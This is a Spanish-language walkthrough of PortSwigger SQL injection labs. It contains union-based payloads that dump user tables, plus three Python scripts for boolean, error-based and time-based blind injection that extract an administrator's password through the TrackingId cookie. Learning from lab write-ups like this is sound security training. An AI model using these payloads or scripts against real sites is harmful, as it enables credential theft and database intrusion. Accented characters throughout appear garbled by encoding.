SQLi PortSwigger


Consiste en una serie de laboratorios, todos ellos relacionados con las inyecciones SQL. El objetivo final no es ganar accesso al sistema, si no obtener una flag para resolverlos. Una vez iniciado, se crear谩 un subdominio propio, a trav茅s del cual se procede a la enumeraci贸n

LAB1

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

El par谩metro Category es vulnerable. El n煤mero total de columnas es 8. En caso de aplicar un ordenamiento con otro n煤mero, el servidor devuelve un c贸digo de estado 500

GET /filter?category=Clothing'+order+by+8--+- HTTP/2
Host: 0a05008e0409104a817934ca004d002f.web-security-academy.net
Cookie: session=i1BdpziL0QTw3Hwbn7WoLJPacZHPibM5
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

En este caso no hay que dumpear ning煤n dato, si no aplicar una condici贸n booleana verdadera con la sentencia ' or 1=1-- -

LAB2

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

Puedo ver un panel de inicio de sesi贸n

En este caso la query a introducir ser铆a admin' or 1=1-- -, ya que para que se aplique la validaci贸n correctamente tiene que haber datos encapsulados en las comillas simples. A modo de ejemplo, el servidor estar铆a ejecutando algo como:

select name,last_name from users where username = '%s' and password = '%s'

LAB3

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

En este caso, el n煤mero total de columnas es 3

GET /filter?category=Pets'+order+by+3--+-

Selecciono todas

GET /filter?category=Pets'+union+select+NULL,NULL,NULL--+- HTTP/2

Con esto bastar铆a para resolver el laboratorio

LAB4

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

Vuelve a tener 3 columnas

GET /filter?category=Accessories'+order+by+3--+- HTTP/2

Para que devuelva la cadena que se solicita, se puede introducir dentro de comillas simples en la selecci贸n de las columnas. Es importante saber que no siempre todos los campos son inyectables

GET /filter?category=Accessories'+union+select+NULL,'Q1CbEn',NULL--+- HTTP/2

LAB5

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

En este caso, el n煤mero total de columnas son dos

GET /filter?category=Lifestyle'+order+by+2--+- HTTP/2

Listo las bases de datos existentes

GET /filter?category=Lifestyle'+union+select+table_name,NULL+from+information_schema.tables+where+table_schema%3d'public'--+- HTTP/2

En la respuesta se muestra el output

Para esta tabla, listo las columnas

GET /filter?category=Lifestyle'+union+select+column_name,NULL+from+information_schema.columns+where+table_schema%3d'public'+and+table_name%3d'users'--+-

De todas las que reporta, me quedo con los usuarios y contrase帽as

Dumpeo las credenciales para todos los usuarios

GET /filter?category=Lifestyle'+union+select+username,password+from+public.users--+- HTTP/2

Inicio sesi贸n y termino el laboratorio

LAB6

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

Es el mismo caso que el anterior, solo que esta vez en el mismo campo tienen que estar concatenados usuario y contrase帽a. Vuelvo a listar las bases de datos

GET /filter?category=Gifts'+union+select+NULL,schema_name+from+information_schema.schemata--+- HTTP/2

Y las tablas

GET /filter?category=Gifts'+union+select+NULL,table_name+from+information_schema.tables+where+table_schema%3d'public'--+- HTTP/2

Con las columnas para users

GET /filter?category=Gifts'+union+select+NULL,column_name+from+information_schema.columns+where+table_schema%3d'public'+and+table_name='users'--+- HTTP/2

Dumpeo los valores

GET /filter?category=Gifts'+union+select+NULL,username||':'||password+from+public.users--+- HTTP/2

Me loggeo y termino el laboratorio

LAB7

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

En este caso, se est谩 empleando Oracle. Es necesario indicar en todo momento una tabla. La m谩s com煤n en la enumeraci贸n es ```dual``.

GET /filter?category=Gifts'+union+select+NULL,NULL+from+dual--+- HTTP/2

Extraigo la versi贸n. Para ello, es necesario conocer un campo en el que incluir la tabla que la contiene

GET /filter?category=Gifts'+union+select+NULL,banner+from+v$version--+- HTTP/2

LAB8

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

Ahora hay que hacer lo mismo pero para MySQL y Microsoft

GET /filter?category=Gifts'+union+select+NULL,@@version--+- HTTP/2

LAB9

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

Enumero las bases de datos

GET /filter?category=Gifts'+union+select+NULL,schema_name+from+information_schema.schemata--+- HTTP/2

Las tablas para public

GET /filter?category=Gifts'+union+select+NULL,table_name+from+information_schema.tables+where+table_schema%3d'public'--+- HTTP/2

Y las columnas de users_uixwzd

GET /filter?category=Gifts'+union+select+NULL,column_name+from+information_schema.columns+where+table_schema%3d'public'+and+table_name='users_uixwzd'--+- HTTP/2

Me quedo con usuario y contrase帽a. En este caso, los nombres son algo extra帽os, username_zkdsyz, password_ihdhjk

GET /filter?category=Gifts'+union+select+NULL,username_zkdsyz||':'||password_ihdhjk+from+public.users_uixwzd--+- HTTP/2

Inicio sesi贸n y termino el laboratorio

LAB10

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

Mismo lab que el anterior, pero se est谩 empleando Oracle por detr谩s. Selecciono las dos columnas

GET /filter?category=Gifts'+union+select+NULL,NULL+from+dual--+- HTTP/2

Listo todas las tablas de todas las bases de datos

GET /filter?category=Gifts'+union+select+NULL,table_name+from+all_tables--+- HTTP/2

Para evitar ruido, tambi茅n se puede filtrar por un propietario

GET /filter?category=Gifts'+union+select+NULL,owner+from+all_tables--+- HTTP/2
GET /filter?category=Gifts'+union+select+NULL,table_name+from+all_tables+where+owner='PETER'--+- HTTP/2

Enumero las columnas para los usuarios

GET /filter?category=Gifts'+union+select+NULL,column_name+from+all_tab_columns+where+table_name='USERS_KQEEJZ'--+- HTTP/2

Dumpeo las credenciales

GET /filter?category=Gifts'+union+select+NULL,USERNAME_BIOVYO||':'||PASSWORD_DLXEUE+from+USERS_KQEEJZ--+- HTTP/2

Me loggeo y termino el laboratorio

LAB11

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

En este caso, el campo vulnerable es la cookie de sesi贸n TrackingId. Al introducir una comilla simple, el mensaje de bienvenida que se pod铆a ver al inicio desaparece

Puedo tratar de insertar una nested query que se encargue de seleccionar un caracter de una columna, fijando la posici贸n. Dejo abierta una comilla porque se va a cerrar en la query que se aplica por detr谩s, en caso contrario, tendr铆a que a帽adir un comentario para que no se produzca un error

Cookie: TrackingId=CzzySOcML6e4oFIh' and (select substring(password 1,1) from users where username='administrator')='a;

Creo un script en python que se encargue de aplicar la fuerza bruta

#!/usr/bin/python3
from pwn import *
import requests, string, signal, sys, pdb

def def_handler(sig, frame):
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables globales

characters = string.ascii_lowercase + string.digits
main_url = "https://0a1600f9048c8f1a828e394a001300bf.web-security-academy.net/"

def MakeRequest():

    password = ""
    p1 = log.progress("Blind SQLi:")
    p2 = log.progress("Password:")

    for position in range(1, 21):

        for character in characters:

            cookies = {
                'TrackingId': "MvIdBgEfhEtivOSb' and (select substring(password,%d,1) from users where username='administrator')='%s" % (position, character),
                'session': 'tO7WFRZa7lYpzv9dCahLIysRNfM3PCjb'
            }

            p1.status(cookies['TrackingId'])
            r = requests.get(main_url, cookies=cookies)

            if "Welcome back!" in r.text:
                password += character
                p2.status(password)
                break



if __name__ == '__main__':
    MakeRequest()
python3 /home/rubbx/Desktop/sqli_lab12.py
[鈻梋 Blind SQLi:: MvIdBgEfhEtivOSb' and (select substring(password,20,1) from users where username='administrator')='9
[鈻梋 Password:: gp6y8b36tslzei88mx99

Me loggeo y termino el laboratorio

LAB12

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

Ahora cuando la respuesta es inv谩lida devuelve un c贸digo de estado 500. La soluci贸n para esta ocasi贸n es introducir otra comilla simple, ya que lo m谩s probale es que se quedara un campo sin cerrar. Adem谩s, se est谩 empleando Oracle, por lo que hay que indicar una tabla

Cookie: TrackingId=NEQKfeMP7dS3xYpf'||(select '' from dual)||'; session=PmZjpcdziBGJBIQia08cMoUTkkAvosvU

La inyecci贸n consiste en un bucle infinito que va a iterar por cada caracter y en caso de que la condici贸n se cumpla, se efectuar谩 la operatoria 1/0, lo que originar谩 un error (500), por lo que puedo descartarlos y dumpear los datos que quiera bas谩ndome en esta condici贸n. Por ejemplo, as铆 se podr铆a obtener la longitud de la contrase帽a

Cookie: TrackingId=NEQKfeMP7dS3xYpf'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator' and length(password)=20)||'

El c贸digo de estado ser谩 500 solo para el valor 20

Creo un nuevo script en python que dumpee la contrase帽a

#!/usr/bin/python3
from pwn import *
import requests, string, signal, time, sys, pdb

def def_handler(sig, frame):
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables globales

characters = string.ascii_lowercase + string.digits
main_url = "https://0a58004903162da580414ea100fe00cd.web-security-academy.net/"

def MakeRequest():

    password = ""
    p1 = log.progress("Blind SQLi:")
    p2 = log.progress("Password:")

    for position in range(1, 21):

        for character in characters:

            cookies = {
                'TrackingId': "NEQKfeMP7dS3xYpf'||(select case when substr(password,%d,1)='%s' then to_char(1/0) else '' end from users where username='administrator')||'" % (position, character),
                'session': 'PmZjpcdziBGJBIQia08cMoUTkkAvosvU'
            }

            p1.status(cookies['TrackingId'])
            r = requests.get(main_url, cookies=cookies)

            if r.status_code == 500:
                password += character
                p2.status(password)
                break



if __name__ == '__main__':
    MakeRequest()
python3 /home/rubbx/Desktop/sqli_lab12.py
[鈼 Blind SQLi:: NEQKfeMP7dS3xYpf'||(select case when substr(password,20,1)='u' then to_char(1/0) else '' end from users where username='administrator')||'
[b] Password:: 1sog9b6p4vh7260pf08u

Me loggeo para terminar el laboratorio

LAB13

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

En este caso se est谩 empleando PostgreSQL. Solo piden que la web tarde 10 segundos en responder

Cookie: TrackingId=Usj9qPoVOZv48tQ4'||pg_sleep(10)--+-

LAB14

  • Instrucciones

  • P谩gina Principal

  • Explotaci贸n

Al igual que en el Oracle, puedo crear una condici贸n que se encarge de iterar por cada caracter, pero esta vez a base del tiempo y no del c贸digo de estado

Cookie: TrackingId=jCIXibJNL8DfHHYA'||(select case when (1=1) then pg_sleep(10) else pg_sleep(0) end from users where username='administrator')-- -

Tambi茅n es v谩lido obtener la longitud de la contrase帽a con la query anterior. Creo un nuevo script en python para dumpear la contrase帽a

#!/usr/bin/python3
from pwn import *
import requests, string, signal, time, sys, pdb

def def_handler(sig, frame):
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables globales

characters = string.ascii_lowercase + string.digits
main_url = "https://0ab1003603d790f68013943100490077.web-security-academy.net/"

def MakeRequest():

    password = ""
    p1 = log.progress("Blind SQLi:")
    p2 = log.progress("Password:")

    for position in range(1, 21):

        for character in characters:

            time_init = time.time()

            cookies = {
                'TrackingId': "jCIXibJNL8DfHHYA'||(select case when substring(password,%d,1)='%s' then pg_sleep(3) else pg_sleep(0) end from users where username='administrator')-- -" % (position, character),
                'session': 'WH1CuCd9cSPeHKglVlUoKmdzLJ5nH5cW'
            }

            p1.status(cookies['TrackingId'])
            r = requests.get(main_url, cookies=cookies)

            time_end = time.time()

            if time_end - time_init > 3:
                password += character
                p2.status(password)
                break



if __name__ == '__main__':
    MakeRequest()
python3 /home/rubbx/Desktop/sqli_lab12.py
[../.....] Blind SQLi:: jCIXibJNL8DfHHYA'||(select case when substring(password,20,1)='d' then pg_sleep(3) else pg_sleep(0) end from users where username='administrator')-- -
[b] Password:: g4gkwyt5fjqjdpeub86d

La introduzco y termino el laboratorio